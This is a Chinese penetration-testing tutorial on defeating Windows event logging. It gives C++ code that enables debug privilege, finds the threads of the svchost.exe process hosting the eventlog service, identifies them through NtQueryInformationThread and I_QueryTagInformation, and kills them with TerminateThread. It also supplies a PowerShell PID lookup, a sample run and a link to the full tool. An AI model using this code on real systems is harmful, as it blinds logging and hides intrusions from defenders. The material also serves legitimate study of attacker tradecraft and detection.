利用 API 實現對 Windwos 日誌監控的繞過
0x00 前言
在上篇文章《滲透技巧——Windows日誌的刪除與繞過》中提到一個繞過Windows日誌監控的思路:使用API NtQueryInformationThread和I_QueryTagInformation獲取線程對應的服務,關閉對應日誌記錄功能的線程,能夠破壞日誌功能,並且Windows Event Log服務沒有被破壞,狀態仍為正在運行。本文將要對其詳細介紹,分享使用c++在編寫程序上需要注意的細節。
0x01 簡介
本文將要介紹以下內容:
程序自身提權
遍歷進程中的所有線程
根據線程tid,獲取對應的進程pid
根據線程tid,獲取對應的服務名稱
結束線程
0x02 程序實現
1、定位eventlog服務對應進程svchost.exe的pid
powershell代碼如下:
Get-WmiObject -Class win32_service -Filter "name = eventlog " | select -exp ProcessId
通過回顯能夠找出進程svchost.exe的pid
2、程序自身提權,以管理員許可權執行
因為進程svchost.exe為系統許可權,所以對其線程進行操作也需要高許可權,因此,程序需要先提升至管理員許可權
提權至管理員許可權的代碼如下:
BOOL SetPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES NewState;
LUID luidPrivilegeLUID;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))
{
printf("SetPrivilege Errorn");
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
{
printf("AdjustTokenPrivilege Errron");
return FALSE;
}
return TRUE;
}
3、遍歷進程中的所有線程
定位進程svchost.exe後,需要遍歷該進程中的所有線程,然後進行篩選
根據進程pid遍歷其子進程的代碼如下:
BOOL ListProcessThreads(DWORD pid)
{
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return(FALSE);
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThreadSnap, &te32))
{
printf("Thread32First");
CloseHandle(hThreadSnap);
return(FALSE);
}
do
{
if (te32.th32OwnerProcessID == pid)
printf("tid= %dn",te32.th32ThreadID);
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
return(TRUE);
}
獲取進程中的所有線程tid,如下圖
4、判斷線程是否滿足條件
篩選出Windows Event Log服務對應的線程,方法如下:
根據線程tid,獲取對應的服務名稱
可參考以下鏈接:
https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/
文中提到,需要使用三個API:
NtQueryInformationThread:
來自ntdll.dll
dll路徑:%WinDir%System32
使用IDA對其驗證,查看ntdll.dll的導出函數,能夠發現API函數NtQueryInformationThread,如下圖
具體使用方式:
typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)
(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;
pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");
I_QueryTagInformation:
來自advapi32.dll
dll路徑:%WinDir%System32下
使用IDA對其驗證,查看advapi32.dll的導出函數,能夠發現API函數I_QueryTagInformation,如下圖
具體使用方式:
typedef ULONG (WINAPI* FN_I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
FN_I_QueryTagInformation pfnI_QueryTagInformation = NULL;
HMODULE advapi32 = LoadLibrary(L"advapi32.dll");
pfnI_QueryTagInformation = (FN_I_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");
NtReadVirtualMemory:
可使用ReadProcessMemory代替
更為完整的代碼實例可參考如下鏈接:
該文章分享了一段代碼,提供進程pid和線程tid,能夠獲取對應的服務名稱
當然,我們需要對該代碼作改進,不需要提供進程pid,只需要線程tid就好
根據線程tid獲取對應進程pid,代碼如下:
BOOL QueryThreadBasicInformation(HANDLE hThread)
{
typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)
(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;
pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");
THREAD_BASIC_INFORMATION threadBasicInfo;
LONG status = pfnNtQueryInformationThread(hThread, ThreadBasicInformation, &threadBasicInfo,sizeof(threadBasicInfo), NULL);
printf("process ID is %un",threadBasicInfo.clientId.uniqueProcess);
printf("Thread ID is %un",threadBasicInfo.clientId.uniqueThread);
return TRUE;
}
測試程序能夠通過tid獲取相關進程pid,運行如下圖
至此,我們能夠根據提供的線程tid判斷出對應的進程pid和服務名稱
接著,需要添加判斷功能,篩選出eventlog服務,進行下一步操作:結束線程
5、結束線程
同結束進程類似,需要提供進程tid,代碼如下:
void TerminateEventlogThread(DWORD tid)
{
HANDLE hThread = OpenThread(0x0001,FALSE,tid);
if(TerminateThread(hThread,0)==0)
printf("--> Error !n");
else
printf("--> Success !n");
CloseHandle(hThread);
}
綜上,將所有功能集成到一個程序中,使用時只需要提供進程svchost.exe的pid就好
完整源代碼下載地址:
https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/WindowsEventLogBypass.cpp
0x03 實際測試
獲取進程svchost.exe的pid:
Get-WmiObject -Class win32_service -Filter "name = eventlog " | select -exp ProcessId
獲得pid為916
運行WindowsEventLogBypass.exe,添加pid
參數如下:
WindowsEventLogBypass.exe 916
實際測試,如下圖
成功結束線程,日誌功能失效,如下圖
0x04 小結
本文介紹了使用C++編寫程序繞過Windows日誌的技巧,同Halil Dalabasmaz@hlldz分享的Powershell工程Invoke-Phant0m結合學習,希望能夠幫助大家更好的了解這項技術。
點擊展開全文
※炒雞棒的模糊測試技術
※ExPetr會是BlackEnergy的變異體嗎?
TAG:嘶吼RoarTalk |
※Python 腳本實現對 Linux 伺服器的監控
※用PyTorch實現Mask R-CNN
※netty整合springMVC,實現高效的HTTP服務請求
※如何使用Docker、TensorFlow目標檢測API和OpenCV實現實時目標檢測和視頻處理
※通過「震網三代」和Siemens PLC 0day漏洞,實現對工控系統的入侵實驗
※使用Tensorflow Object Detection API實現對象檢測
※我是如何在 Python 內使用深度學習實現 iPhone X的FaceID 的
※C井調用Windows API實現自動登錄
※Github 項目推薦 用PyTorch 實現 OpenNMT
※用Scratch+IBM Watson實現機器學習
※利用谷歌object detection API實現Oxford-IIIT Pets Dataset 目標檢測趟坑記錄
※用Pytorch 實現的 Capsule Network
※教程 | 如何使用Docker、TensorFlow目標檢測API和OpenCV實現實時目標檢測和視頻處理
※Spring AOP 的實現機制
※Docker、TensorFlow目標檢測API和OpenCV實現目標檢測和視頻處理
※「CVPR Oral」TensorFlow實現StarGAN代碼全部開源,1天訓練完
※與AMD合作,Premiere原生支持Radeon Pro SSG,實現更高效視頻製作
※比Python快100倍,利用spaCy和Cython實現高速NLP項目
※用WebRTC在Firefox上實現YouTube直播
※Python yield與實現